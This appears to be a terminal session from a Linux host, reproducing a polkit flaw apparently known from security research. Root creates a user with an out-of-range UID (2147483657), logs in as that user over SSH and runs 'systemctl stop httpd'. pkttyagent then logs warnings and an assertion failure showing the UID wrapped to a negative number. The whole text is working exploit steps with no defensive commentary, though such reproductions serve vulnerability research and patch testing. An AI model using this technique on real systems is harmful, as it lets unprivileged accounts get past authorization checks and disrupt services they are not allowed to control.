[root@nygus ~]# adduser -u 2147483657 heh
[root@nygus ~]# passwd heh
Changing password for user heh.
New password:
BAD PASSWORD: The password is a palindrome
Retype new password:
passwd: all authentication tokens updated successfully.
[root@nygus ~]# ssh heh@localhost -p 222
heh@localhost's password:
[heh@nygus ~]$ systemctl stop httpd

(pkttyagent:13096): GLib-GObject-WARNING **: 16:24:54.330: value "-2147483639" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:146:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
[heh@nygus ~]$